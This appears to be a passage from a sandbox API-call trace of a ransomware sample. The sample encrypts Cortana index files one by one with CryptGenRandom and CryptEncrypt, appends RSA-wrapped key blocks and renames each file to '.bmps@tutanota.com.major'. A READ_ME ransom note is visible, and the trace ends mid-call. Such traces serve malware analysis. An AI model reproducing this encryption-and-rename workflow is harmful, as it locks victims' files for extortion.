"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.959] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.959] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0249.959] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b10 [0249.960] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=90303) returned 1 [0249.960] ReadFile (in: hFile=0x1b10, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x160bf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x160bf, lpOverlapped=0x0) returned 1 [0249.961] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=-90303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.961] WriteFile (in: hFile=0x1b10, lpBuffer=0x340b0e0*, nNumberOfBytesToWrite=0x160bf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x340b0e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x160bf, lpOverlapped=0x0) returned 1 [0249.962] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x160bf [0249.962] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.962] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.962] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.962] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.962] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.962] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sNd0CVX4fZjHffE8yQF3MIjLuDWDX7dSBuIWrN5+V8kWvFO1HQs6w4KFOeoTsaeX\nocuFv2xOuTRa7hpi1FAMBZp3pR8koRrWtOSobajxwfM0lL5oxupayLnvm6hS+jD9\n1sEtekNqHYB54i42Hx41OddhSITkdRbNaZqSPYh4FXsWpwXAteyyXtvO75j0DSeO\n6VjdkzjOHMkDY2O38BDmlfRq4PcIOzg8KUeyreyc1XJXCvwACRzsjNRx8dSWpsLF\nViBp7/x9lgv3mKNjpuVAj0CdPgYx7RkUzSFlelubrBHpyvNoaSwTN02FgUFJNwpX\n1gyUkG4y7AI5F7oDK/vsew==\n", pcchString=0x2e3f9a8) returned 1 [0249.962] WriteFile (in: hFile=0x1b10, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.962] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.962] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.962] CloseHandle (hObject=0x1b10) returned 1 [0249.963] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.964] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78d8f9a0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x799c29bd, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x4769164f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31ba0 [0249.965] SetLastError (dwErrCode=0x0) [0249.965] GetLastError () returned 0x0 [0249.965] SetLastError (dwErrCode=0x0) [0249.965] GetLastError () returned 0x0 [0249.965] SetLastError (dwErrCode=0x0) [0249.965] FindNextFileW (in: hFindFile=0x2f31ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78d8f9a0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x799c29bd, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x4769164f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0249.965] SetLastError (dwErrCode=0x0) [0249.965] GetLastError () returned 0x0 [0249.965] SetLastError (dwErrCode=0x0) [0249.965] GetLastError () returned 0x0 [0249.965] SetLastError (dwErrCode=0x0) [0249.965] FindNextFileW (in: hFindFile=0x2f31ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794c67e3, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x794c67e3, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x79512c77, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x160bf, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] GetLastError () returned 0x0 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] GetLastError () returned 0x0 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] FindNextFileW (in: hFindFile=0x2f31ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79512c77, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x79512c77, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x79512c77, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] GetLastError () returned 0x0 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] GetLastError () returned 0x0 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] FindNextFileW (in: hFindFile=0x2f31ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79512c77, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x79512c77, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x79512c77, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] GetLastError () returned 0x0 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] GetLastError () returned 0x0 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] FindNextFileW (in: hFindFile=0x2f31ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4769164f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4769164f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4769164f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] GetLastError () returned 0x0 [0249.966] SetLastError (dwErrCode=0x0) [0249.966] GetLastError () returned 0x0 [0249.967] SetLastError (dwErrCode=0x0) [0249.967] FindNextFileW (in: hFindFile=0x2f31ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799c29bd, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x799c29bd, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x799c29bd, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a35b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings.ft", cAlternateFileName="")) returned 1 [0249.967] SetLastError (dwErrCode=0x0) [0249.967] GetLastError () returned 0x0 [0249.967] SetLastError (dwErrCode=0x0) [0249.967] GetLastError () returned 0x0 [0249.967] SetLastError (dwErrCode=0x0) [0249.967] FindNextFileW (in: hFindFile=0x2f31ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794a058d, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x794a058d, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x799c29bd, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x821fb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings.index", cAlternateFileName="SETTIN~1.IND")) returned 1 [0249.967] SetLastError (dwErrCode=0x0) [0249.967] GetLastError () returned 0x0 [0249.967] SetLastError (dwErrCode=0x0) [0249.967] GetLastError () returned 0x0 [0249.967] SetLastError (dwErrCode=0x0) [0249.967] FindNextFileW (in: hFindFile=0x2f31ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794a058d, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x794a058d, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x799c29bd, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x821fb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings.index", cAlternateFileName="SETTIN~1.IND")) returned 0 [0249.967] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.967] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.index", dwFileAttributes=0x80) returned 1 [0249.968] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b14 [0249.968] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=532987) returned 1 [0249.968] ReadFile (in: hFile=0x1b14, lpBuffer=0x67f020, nNumberOfBytesToRead=0x821fb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67f020*, lpNumberOfBytesRead=0x2e3f9b4*=0x821fb, lpOverlapped=0x0) returned 1 [0250.015] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=-532987, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.015] WriteFile (in: hFile=0x1b14, lpBuffer=0x710020*, nNumberOfBytesToWrite=0x821fb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x710020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x821fb, lpOverlapped=0x0) returned 1 [0250.016] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x821fb [0250.016] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.016] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.017] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.017] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.017] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.017] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="M9VogvokHvoPzvJhk+jUPcSjyZBk6vDp+U9B62eYGb6CruMebMP8UDGY3ujS/kej\nxIclsFQo+1gQnPbYU1YfrNrk1Ngib35/CdwBMTUyNl1+bg1WFoc6QGeuOWBfDW3M\nW7+xCYVapTj/CHkdUT+sajLFDoW3EtTNsJm4nbcbNQMH1FdNaTvPwdV16XGScwaK\n3Y9RkL9qYmhA4KZXvPK7hsFx+JBhQWbKbpXROSo5xnyH2XxJpuRT8d4ijzwE0ZPF\noF5A+nfxj5sFrAumfoW4L2EOXwqh0lnFpUR5nbn5Uj3fWF++5vWACUk90trAqWbl\nt7p53r7QGcsa6p4j52rGew==\n", pcchString=0x2e3f9a8) returned 1 [0250.017] WriteFile (in: hFile=0x1b14, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.017] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.017] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.017] CloseHandle (hObject=0x1b14) returned 1 [0250.017] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.index"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.index.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.index.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.019] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.019] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.ft", dwFileAttributes=0x80) returned 1 [0250.019] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b14 [0250.020] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=107355) returned 1 [0250.020] ReadFile (in: hFile=0x1b14, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x1a35b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a35b, lpOverlapped=0x0) returned 1 [0250.135] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=-107355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.135] WriteFile (in: hFile=0x1b14, lpBuffer=0x340f380*, nNumberOfBytesToWrite=0x1a35b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x340f380*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a35b, lpOverlapped=0x0) returned 1 [0250.136] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a35b [0250.136] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.136] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.136] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.136] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1ree0Xju6neqkkEiNeszfXsH9xHlQJ+dT68kZEdXwmHimF5V23NgBer5KvY0PzO+\naug/g1ORPD7I3Qo/oV4Rl7aCg4CU4ha/NpWJBLnLx/xqVCBKdJP1JMHjNbSnjs7a\nX+x1nRAhPyZWRCTn9/SLiDfO8GQ+8l3xF8m8rTrFW0PeJvLJEaF2WqF4xVpL4evB\n0QZgkmo7P4jv+YVy5kps0MjCqO68plRwDwGAjjUqxyP99Kw9XtoLu1BsFqwluQRz\nmeaLf1KKrjxntsBPUX6SAdsAIHs62WSRbq2QLeOcaehdWNn1WeKc9eNdlHmJqt/+\nEbCATl2ju7vEYzjBdojQkw==\n", pcchString=0x2e3f9a8) returned 1 [0250.136] WriteFile (in: hFile=0x1b14, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.136] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.136] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.136] CloseHandle (hObject=0x1b14) returned 1 [0250.137] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.ft"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.ft.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.ft.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.138] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.138] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0250.139] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b14 [0250.139] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0250.139] ReadFile (in: hFile=0x1b14, lpBuffer=0x59d430, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0250.140] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.140] WriteFile (in: hFile=0x1b14, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0250.140] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0250.140] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.140] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.140] 